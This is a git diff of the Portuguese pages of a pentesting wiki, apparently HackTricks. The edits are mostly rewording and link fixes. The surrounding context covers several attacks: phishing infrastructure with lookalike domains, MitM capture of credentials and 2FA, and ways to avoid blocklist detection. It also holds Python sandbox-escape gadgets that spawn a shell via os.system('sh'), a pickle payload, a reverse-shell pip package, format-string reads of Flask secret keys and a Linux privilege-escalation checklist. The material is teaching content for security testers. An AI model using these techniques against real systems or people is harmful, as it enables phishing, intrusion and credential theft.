política SPF (use o IP da máquina VPS) @@ -245,7 +245,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all ``` ### Registro de Autenticação, Relatório e Conformidade de Mensagens Baseado em Domínio (DMARC) -Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/#dmarc). +Você deve **configurar um registro DMARC para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). Você deve criar um novo registro DNS TXT apontando para o nome do host `_dmarc.` com o seguinte conteúdo: ```bash @@ -253,7 +253,7 @@ v=DMARC1; p=none ``` ### DomainKeys Identified Mail (DKIM) -Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/#dkim). +Você deve **configurar um DKIM para o novo domínio**. Se você não sabe o que é um registro DMARC [**leia esta página**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Este tutorial é baseado em: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) @@ -289,7 +289,7 @@ Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; dkim=pass header.i=@example.com; ``` -### Removendo da Lista Negra do Spamhouse +### ​Removendo da Lista Negra do Spamhouse A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu domínio está sendo bloqueado pelo spamhouse. Você pode solicitar a remoção do seu domínio/IP em: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) @@ -305,7 +305,7 @@ A página [www.mail-tester.com](https://www.mail-tester.com) pode indicar se seu - Decida de qual conta você vai enviar os emails de phishing. Sugestões: _noreply, support, servicedesk, salesforce..._ - Você pode deixar em branco o nome de usuário e a senha, mas certifique-se de marcar a opção Ignorar Erros de Certificado -![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) +![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!NOTE] > É recomendado usar a funcionalidade "**Enviar Email de Teste**" para testar se tudo está funcionando.\ @@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -Note que **para aumentar a credibilidade do e-mail**, é recomendado usar alguma assinatura de um e-mail do cliente. Sugestões: +Note que **para aumentar a credibilidade do e-mail**, é recomendável usar alguma assinatura de um e-mail do cliente. Sugestões: - Envie um e-mail para um **endereço inexistente** e verifique se a resposta tem alguma assinatura. - Procure por **e-mails públicos** como info@ex.com ou press@ex.com ou public@ex.com e envie um e-mail para eles e aguarde a resposta. @@ -378,7 +378,7 @@ Note que o **Perfil de Envio permite enviar um e-mail de teste para ver como ser ![](<../../images/image (192).png>) > [!NOTE] -> Eu recomendaria **enviar os e-mails de teste para endereços de e-mail de 10min** para evitar ser colocado na lista negra durante os testes. +> Eu recomendaria **enviar os e-mails de teste para endereços de 10min** a fim de evitar ser colocado na lista negra durante os testes. Uma vez que tudo esteja pronto, basta lançar a campanha! @@ -403,32 +403,32 @@ phishing-documents.md ### Via Proxy MitM -O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inserir a senha correta ou se o aplicativo que você falsificou estiver configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**. +O ataque anterior é bastante inteligente, pois você está falsificando um site real e coletando as informações fornecidas pelo usuário. Infelizmente, se o usuário não inseriu a senha correta ou se o aplicativo que você falsificou está configurado com 2FA, **essa informação não permitirá que você se passe pelo usuário enganado**. É aqui que ferramentas como [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) e [**muraena**](https://github.com/muraenateam/muraena) são úteis. Esta ferramenta permitirá que você gere um ataque do tipo MitM. Basicamente, os ataques funcionam da seguinte maneira: -1. Você **falsifica o formulário de login** da página real. -2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as envia para a página real, **verificando se as credenciais funcionam**. -3. Se a conta estiver configurada com **2FA**, a página MitM pedirá isso e, uma vez que o **usuário o introduza**, a ferramenta o enviará para a página real. +1. Você **falsifica o formulário de login** da página da web real. +2. O usuário **envia** suas **credenciais** para sua página falsa e a ferramenta as envia para a página da web real, **verificando se as credenciais funcionam**. +3. Se a conta estiver configurada com **2FA**, a página MitM pedirá isso e, uma vez que o **usuário o introduza**, a ferramenta o enviará para a página da web real. 4. Uma vez que o usuário esteja autenticado, você (como atacante) terá **capturado as credenciais, o 2FA, o cookie e qualquer informação** de cada interação enquanto a ferramenta está realizando um MitM. ### Via VNC -E se em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\ +E se em vez de **enviar a vítima para uma página maliciosa** com a mesma aparência da original, você a enviar para uma **sessão VNC com um navegador conectado à página da web real**? Você poderá ver o que ele faz, roubar a senha, o MFA usado, os cookies...\ Você pode fazer isso com [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) ## Detectando a detecção -Obviamente, uma das melhores maneiras de saber se você foi descoberto é **procurar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ +Obviamente, uma das melhores maneiras de saber se você foi descoberto é **pesquisar seu domínio em listas negras**. Se ele aparecer listado, de alguma forma seu domínio foi detectado como suspeito.\ Uma maneira fácil de verificar se seu domínio aparece em alguma lista negra é usar [https://malwareworld.com/](https://malwareworld.com) -No entanto, existem outras maneiras de saber se a vítima está **procurando ativamente por atividades de phishing suspeitas na natureza**, conforme explicado em: +No entanto, existem outras maneiras de saber se a vítima está **ativamente procurando por atividades de phishing suspeitas na web**, conforme explicado em: {{#ref}} detecting-phising.md {{#endref}} -Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de **interação DNS ou HTTP** com eles, você saberá que **ela está procurando ativamente** por domínios suspeitos e você precisará ser muito discreto. +Você pode **comprar um domínio com um nome muito semelhante** ao domínio da vítima **e/ou gerar um certificado** para um **subdomínio** de um domínio controlado por você **contendo** a **palavra-chave** do domínio da vítima. Se a **vítima** realizar qualquer tipo de **interação DNS ou HTTP** com eles, você saberá que **ela está ativamente procurando** por domínios suspeitos e você precisará ser muito discreto. ### Avaliar o phishing diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 1d859a9e9..3e131480c 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -5,7 +5,7 @@ **Páginas interessantes para conferir:** - [**Truques de hacking com Pyscript**](pyscript.md) -- [**Deserializações em Python**](../../pentesting-web/deserialization/#python) +- [**Deserializações em Python**](../../pentesting-web/deserialization/index.html#python) - [**Truques para contornar sandboxes em Python**](bypass-python-sandboxes/) - [**Sintaxe básica de requisições web em Python**](web-requests.md) - [**Sintaxe e bibliotecas básicas de Python**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 0717722aa..787bd830c 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -44,7 +44,7 @@ Lembre-se de que as funções _**open**_ e _**read**_ podem ser úteis para **le > [!CAUTION] > A função **input()** do Python2 permite executar código python antes que o programa falhe. -O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando a seguir imprimirá de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'` +O Python tenta **carregar bibliotecas do diretório atual primeiro** (o seguinte comando imprimirá de onde o python está carregando os módulos): `python3 -c 'import sys; print(sys.path)'` ![](<../../../images/image (559).png>) @@ -54,7 +54,7 @@ O Python tenta **carregar bibliotecas do diretório atual primeiro** (o comando Você pode encontrar uma **lista de pacotes pré-instalados** aqui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ Note que a partir de um pickle você pode fazer o ambiente python **importar bibliotecas arbitrárias** instaladas no sistema.\ -Por exemplo, o seguinte pickle, quando carregado, irá importar a biblioteca pip para usá-la: +Por exemplo, o seguinte pickle, quando carregado, vai importar a biblioteca pip para usá-la: ```python #Note that here we are importing the pip library so the pickle is created correctly #however, the victim doesn't even need to have the library installed to execute it @@ -67,7 +67,7 @@ return (pip.main,(["list"],)) print(base64.b64encode(pickle.dumps(P(), protocol=0))) ``` -Para mais informações sobre como o pickle funciona, consulte isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) +Para mais informações sobre como o pickle funciona, verifique isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/) ### Pacote Pip @@ -83,7 +83,7 @@ Você pode baixar o pacote para criar o reverse shell aqui. Por favor, note que {% file src="../../../images/Reverse.tar (1).gz" %} > [!NOTE] -> Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado para que, ao sair do reverse shell, o restante da instalação falhe, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair. +> Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado para que, quando você sair do reverse shell, o restante da instalação falhe, então você **não deixará nenhum pacote python extra instalado no servidor** quando sair. ## Avaliando código python @@ -151,7 +151,7 @@ Também é possível contornar isso usando outras codificações, por exemplo, ` ## Execução do Python sem chamadas -Se você estiver dentro de uma prisão python que **não permite que você faça chamadas**, ainda há algumas maneiras de **executar funções, código** e **comandos** arbitrários. +Se você estiver dentro de uma prisão python que **não permite que você faça chamadas**, ainda há algumas maneiras de **executar funções, código** e **comandos arbitrários**. ### RCE com [decorators](https://docs.python.org/3/glossary.html#term-decorator) ```python @@ -177,7 +177,7 @@ class _:pass ``` ### RCE criando objetos e sobrecarga -Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você pode **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**. +Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você poderia **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**. #### RCE com classes personalizadas @@ -233,7 +233,7 @@ __ixor__ (k ^= 'import os; os.system("sh")') ``` #### Criando objetos com [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) -A principal coisa que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como uma metaclass. +A principal coisa que as metaclasses nos permitem fazer é **criar uma instância de uma classe, sem chamar o construtor** diretamente, criando uma nova classe com a classe alvo como metaclass. ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -358,7 +358,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **builtins**. +[**Abaixo há uma função maior**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **builtins**. #### Python2 e Python3 ```python @@ -400,7 +400,7 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**Abaixo há uma função maior**](./#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **globals**. +[**Abaixo há uma função maior**](#recursive-search-of-builtins-globals) para encontrar dezenas/**centenas** de **lugares** onde você pode encontrar os **globals**. ## Descobrir Execução Arbitrária @@ -408,7 +408,7 @@ Aqui quero explicar como descobrir facilmente **funcionalidades mais perigosas c #### Acessando subclasses com bypasses -Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()` mas há **outras maneiras possíveis**: +Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()`, mas há **outras maneiras possíveis**: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -537,7 +537,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## Pesquisa Recursiva de Builtins, Globals... > [!WARNING] -> Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outra coisa**, basta usar este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.** +> Isso é simplesmente **incrível**. Se você está **procurando por um objeto como globals, builtins, open ou qualquer outra coisa**, apenas use este script para **encontrar recursivamente lugares onde você pode encontrar esse objeto.** ```python import os, sys # Import these to find more gadgets @@ -659,9 +659,9 @@ Você pode verificar a saída deste script nesta página: https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} -## Formato de String do Python +## Python Format String -Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globais ou builtins, por exemplo. +Se você **enviar** uma **string** para o python que vai ser **formatada**, você pode usar `{}` para acessar **informações internas do python.** Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { @@ -681,7 +681,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` -Note como você pode **acessar atributos** de uma maneira normal com um **ponto** como `people_obj.__init__` e **elemento de dicionário** com **parênteses** sem aspas `__globals__[CONFIG]` +Note como você pode **acessar atributos** de uma maneira normal com um **ponto** como `people_obj.__init__` e **elemento do dicionário** com **parênteses** sem aspas `__globals__[CONFIG]` Também note que você pode usar `.__dict__` para enumerar elementos de um objeto `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` @@ -703,8 +703,8 @@ return 'HAL 9000' ``` **Mais exemplos** sobre **exemplos de** **string** **de formato** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info) -> [!ATENÇÃO] -> Verifique também a seguinte página para gadgets que irão **ler informações sensíveis de objetos internos do Python**: +> [!CAUTION] +> Verifique também a seguinte página para gadgets que irão r**evelar informações sensíveis de objetos internos do Python**: {{#ref}} ../python-internal-read-gadgets.md @@ -736,7 +736,7 @@ De acordo com o [**desafio TypeMonkey deste artigo**](https://corgi.rip/posts/bu Como lembrete, toda vez que uma ação é realizada em python, alguma função é executada. Por exemplo, `2*3` executará **`(2).mul(3)`** ou **`{'a':'b'}['a']`** será **`{'a':'b'}.__getitem__('a')`**. -Você pode encontrar mais como isso na seção [**Execução de Python sem chamadas**](./#python-execution-without-calls). +Você pode encontrar mais como isso na seção [**Execução de Python sem chamadas**](#python-execution-without-calls). Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\ No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que executa código arbitrário, é possível abusar deles para obter RCE. @@ -767,7 +767,7 @@ Este gadget permite **carregar uma biblioteca do disco**. Portanto, é necessár ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` -A challenge na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco dos servidores. +O desafio na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco dos servidores. ## Dissecando Objetos Python @@ -805,7 +805,7 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**Veja aqui mais lugares para obter globais**](./#globals-and-locals) +[**Veja aqui mais lugares para obter globais**](#globals-and-locals) ### **Acessando o código da função** @@ -823,7 +823,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### Obtendo Informações do Código +### Obtendo Informações de Código ```python # Another example s = ''' @@ -897,7 +897,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Observe que **se você não conseguir importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), pois `LOAD_CONST` também indica o deslocamento da variável sendo carregada. +Observe que **se você não puder importar `dis` no sandbox do python** você pode obter o **bytecode** da função (`get_flag.func_code.co_code`) e **desmontá-lo** localmente. Você não verá o conteúdo das variáveis sendo carregadas (`LOAD_CONST`), mas pode inferi-las a partir de (`get_flag.func_code.co_consts`), pois `LOAD_CONST` também indica o deslocamento da variável sendo carregada. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -921,7 +921,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Compilando Python -Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\ +Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que não pode executar** mas você **precisa** **executá-la**.\ Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_) ```python def get_flag(some_input): @@ -1011,7 +1011,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Se você não pode acessar `eval` ou `exec`, você pode criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.** +Se você não pode acessar `eval` ou `exec`, você poderia criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.** ```python #Compile a regular print ftype = type(lambda: None) diff --git a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index 3436a2f3c..dd6ec374b 100644 --- a/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/src/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -4,11 +4,11 @@ ## Informações Básicas -Diferentes vulnerabilidades, como [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) ou [**Class Pollution**](class-pollution-pythons-prototype-pollution.md), podem permitir que você **leia dados internos do python, mas não permitirão que você execute código**. Portanto, um pentester precisará aproveitar ao máximo essas permissões de leitura para **obter privilégios sensíveis e escalar a vulnerabilidade**. +Vulnerabilidades diferentes, como [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) ou [**Class Pollution**](class-pollution-pythons-prototype-pollution.md), podem permitir que você **leia dados internos do python, mas não permitirão que você execute código**. Portanto, um pentester precisará aproveitar ao máximo essas permissões de leitura para **obter privilégios sensíveis e escalar a vulnerabilidade**. ### Flask - Ler chave secreta -A página principal de uma aplicação Flask provavelmente terá o **objeto global `app`** onde esta **chave secreta está configurada**. +A página principal de uma aplicação Flask provavelmente terá o objeto global **`app`** onde esta **chave secreta está configurada**. ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' @@ -33,6 +33,6 @@ Use este payload para **mudar `app.secret_key`** (o nome no seu app pode ser dif > [!WARNING] > Note que você pode obter o **caminho local do servidor para o `app.py`** gerando algum **erro** na página da web que irá **te dar o caminho**. -Se a vulnerabilidade estiver em um arquivo python diferente, verifique o truque anterior do Flask para acessar os objetos do arquivo python principal. +Se a vulnerabilidade estiver em um arquivo python diferente, verifique o truque Flask anterior para acessar os objetos do arquivo python principal. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/linux-privilege-escalation-checklist.md b/src/linux-hardening/linux-privilege-escalation-checklist.md index 4473cec6a..84652ba6b 100644 --- a/src/linux-hardening/linux-privilege-escalation-checklist.md +++ b/src/linux-hardening/linux-privilege-escalation-checklist.md @@ -4,71 +4,71 @@ ### **Melhor ferramenta para procurar vetores de escalonamento de privilégios locais no Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -### [Informações do Sistema](privilege-escalation/#system-information) +### [Informações do Sistema](privilege-escalation/index.html#system-information) - [ ] Obter **informações do SO** -- [ ] Verificar o [**PATH**](privilege-escalation/#path), alguma **pasta gravável**? -- [ ] Verificar [**variáveis de ambiente**](privilege-escalation/#env-info), algum detalhe sensível? -- [ ] Procurar por [**explorações de kernel**](privilege-escalation/#kernel-exploits) **usando scripts** (DirtyCow?) -- [ ] **Verificar** se a [**versão do sudo** é vulnerável](privilege-escalation/#sudo-version) -- [ ] [**Verificação de assinatura do Dmesg** falhou](privilege-escalation/#dmesg-signature-verification-failed) -- [ ] Mais enumeração do sistema ([data, estatísticas do sistema, informações da CPU, impressoras](privilege-escalation/#more-system-enumeration)) -- [ ] [**Enumerar mais defesas**](privilege-escalation/#enumerate-possible-defenses) +- [ ] Verificar o [**PATH**](privilege-escalation/index.html#path), há alguma **pasta gravável**? +- [ ] Verificar [**variáveis de ambiente**](privilege-escalation/index.html#env-info), há algum detalhe sensível? +- [ ] Procurar por [**explorações de kernel**](privilege-escalation/index.html#kernel-exploits) **usando scripts** (DirtyCow?) +- [ ] **Verificar** se a [**versão do sudo** é vulnerável](privilege-escalation/index.html#sudo-version) +- [ ] [**Verificação de assinatura do Dmesg** falhou](privilege-escalation/index.html#dmesg-signature-verification-failed) +- [ ] Mais enumeração do sistema ([data, estatísticas do sistema, informações da CPU, impressoras](privilege-escalation/index.html#more-system-enumeration)) +- [ ] [Enumerar mais defesas](privilege-escalation/index.html#enumerate-possible-defenses) -### [Unidades](privilege-escalation/#drives) +### [Unidades](privilege-escalation/index.html#drives) - [ ] **Listar unidades** montadas - [ ] **Alguma unidade não montada?** - [ ] **Algumas credenciais no fstab?** -### [**Software Instalado**](privilege-escalation/#installed-software) +### [**Software Instalado**](privilege-escalation/index.html#installed-software) -- [ ] **Verificar por** [**software útil**](privilege-escalation/#useful-software) **instalado** -- [ ] **Verificar por** [**software vulnerável**](privilege-escalation/#vulnerable-software-installed) **instalado** +- [ ] **Verificar por** [**software útil**](privilege-escalation/index.html#useful-software) **instalado** +- [ ] **Verificar por** [**software vulnerável**](privilege-escalation/index.html#vulnerable-software-installed) **instalado** -### [Processos](privilege-escalation/#processes) +### [Processos](privilege-escalation/index.html#processes) -- [ ] Algum **software desconhecido em execução**? -- [ ] Algum software em execução com **mais privilégios do que deveria ter**? +- [ ] Algum **software desconhecido está em execução**? +- [ ] Algum software está em execução com **mais privilégios do que deveria ter**? - [ ] Procurar por **explorações de processos em execução** (especialmente a versão em execução). - [ ] Você pode **modificar o binário** de algum processo em execução? - [ ] **Monitorar processos** e verificar se algum processo interessante está sendo executado com frequência. - [ ] Você pode **ler** alguma **memória de processo** interessante (onde senhas poderiam estar salvas)? -### [Tarefas Agendadas/Cron?](privilege-escalation/#scheduled-jobs) +### [Tarefas Agendadas/Cron?](privilege-escalation/index.html#scheduled-jobs) -- [ ] O [**PATH**](privilege-escalation/#cron-path) está sendo modificado por algum cron e você pode **escrever** nele? -- [ ] Algum [**caractere curinga**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) em uma tarefa cron? -- [ ] Algum [**script modificável**](privilege-escalation/#cron-script-overwriting-and-symlink) está sendo **executado** ou está dentro de uma **pasta modificável**? -- [ ] Você detectou que algum **script** poderia estar ou está sendo [**executado** muito **frequentemente**](privilege-escalation/#frequent-cron-jobs)? (a cada 1, 2 ou 5 minutos) +- [ ] O [**PATH**](privilege-escalation/index.html#cron-path) está sendo modificado por algum cron e você pode **escrever** nele? +- [ ] Algum [**caractere curinga**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) em uma tarefa cron? +- [ ] Algum [**script modificável**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) está sendo **executado** ou está dentro de uma **pasta modificável**? +- [ ] Você detectou que algum **script** poderia estar ou está sendo [**executado** com **frequência**](privilege-escalation/index.html#frequent-cron-jobs)? (a cada 1, 2 ou 5 minutos) -### [Serviços](privilege-escalation/#services) +### [Serviços](privilege-escalation/index.html#services) - [ ] Algum arquivo **.service** **gravável**? - [ ] Algum **binário gravável** executado por um **serviço**? - [ ] Alguma **pasta gravável no PATH do systemd**? -### [Tempos](privilege-escalation/#timers) +### [Tempos](privilege-escalation/index.html#timers) -- [ ] Algum **temporizador gravável**? +- [ ] Algum **timer gravável**? -### [Sockets](privilege-escalation/#sockets) +### [Sockets](privilege-escalation/index.html#sockets) - [ ] Algum arquivo **.socket** **gravável**? - [ ] Você pode **se comunicar com algum socket**? - [ ] **Sockets HTTP** com informações interessantes? -### [D-Bus](privilege-escalation/#d-bus) +### [D-Bus](privilege-escalation/index.html#d-bus) - [ ] Você pode **se comunicar com algum D-Bus**? -### [Rede](privilege-escalation/#network) +### [Rede](privilege-escalation/index.html#network) - [ ] Enumerar a rede para saber onde você está - [ ] **Portas abertas que você não conseguiu acessar antes** de obter um shell dentro da máquina? - [ ] Você pode **capturar tráfego** usando `tcpdump`? -### [Usuários](privilege-escalation/#users) +### [Usuários](privilege-escalation/index.html#users) - [ ] Enumeração de usuários/grupos **genéricos** - [ ] Você tem um **UID muito grande**? A **máquina** é **vulnerável**? @@ -77,43 +77,43 @@ - [ ] Política de Senhas? - [ ] Tente **usar** cada **senha conhecida** que você descobriu anteriormente para fazer login **com cada** possível **usuário**. Tente fazer login também sem uma senha. -### [PATH Gravável](privilege-escalation/#writable-path-abuses) +### [PATH Gravável](privilege-escalation/index.html#writable-path-abuses) - [ ] Se você tiver **privilégios de escrita sobre alguma pasta no PATH**, pode ser capaz de escalar privilégios -### [Comandos SUDO e SUID](privilege-escalation/#sudo-and-suid) +### [Comandos SUDO e SUID](privilege-escalation/index.html#sudo-and-suid) - [ ] Você pode executar **qualquer comando com sudo**? Você pode usá-lo para LER, ESCREVER ou EXECUTAR algo como root? ([**GTFOBins**](https://gtfobins.github.io)) - [ ] Algum **binário SUID explorável**? ([**GTFOBins**](https://gtfobins.github.io)) -- [ ] Os [**comandos sudo** são **limitados** por **path**? você pode **contornar** as restrições](privilege-escalation/#sudo-execution-bypassing-paths)? -- [ ] [**Binário Sudo/SUID sem path indicado**](privilege-escalation/#sudo-command-suid-binary-without-command-path)? -- [ ] [**Binário SUID especificando path**](privilege-escalation/#suid-binary-with-command-path)? Contornar -- [ ] [**Vuln LD_PRELOAD**](privilege-escalation/#ld_preload) -- [ ] [**Falta de biblioteca .so em binário SUID**](privilege-escalation/#suid-binary-so-injection) de uma pasta gravável? -- [ ] [**Tokens SUDO disponíveis**](privilege-escalation/#reusing-sudo-tokens)? [**Você pode criar um token SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)? -- [ ] Você pode [**ler ou modificar arquivos sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)? -- [ ] Você pode [**modificar /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)? -- [ ] Comando [**OpenBSD DOAS**](privilege-escalation/#doas) +- [ ] Os [**comandos sudo** são **limitados** por **path**? você pode **contornar** as restrições](privilege-escalation/index.html#sudo-execution-bypassing-paths)? +- [ ] [**Binário Sudo/SUID sem path indicado**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)? +- [ ] [**Binário SUID especificando 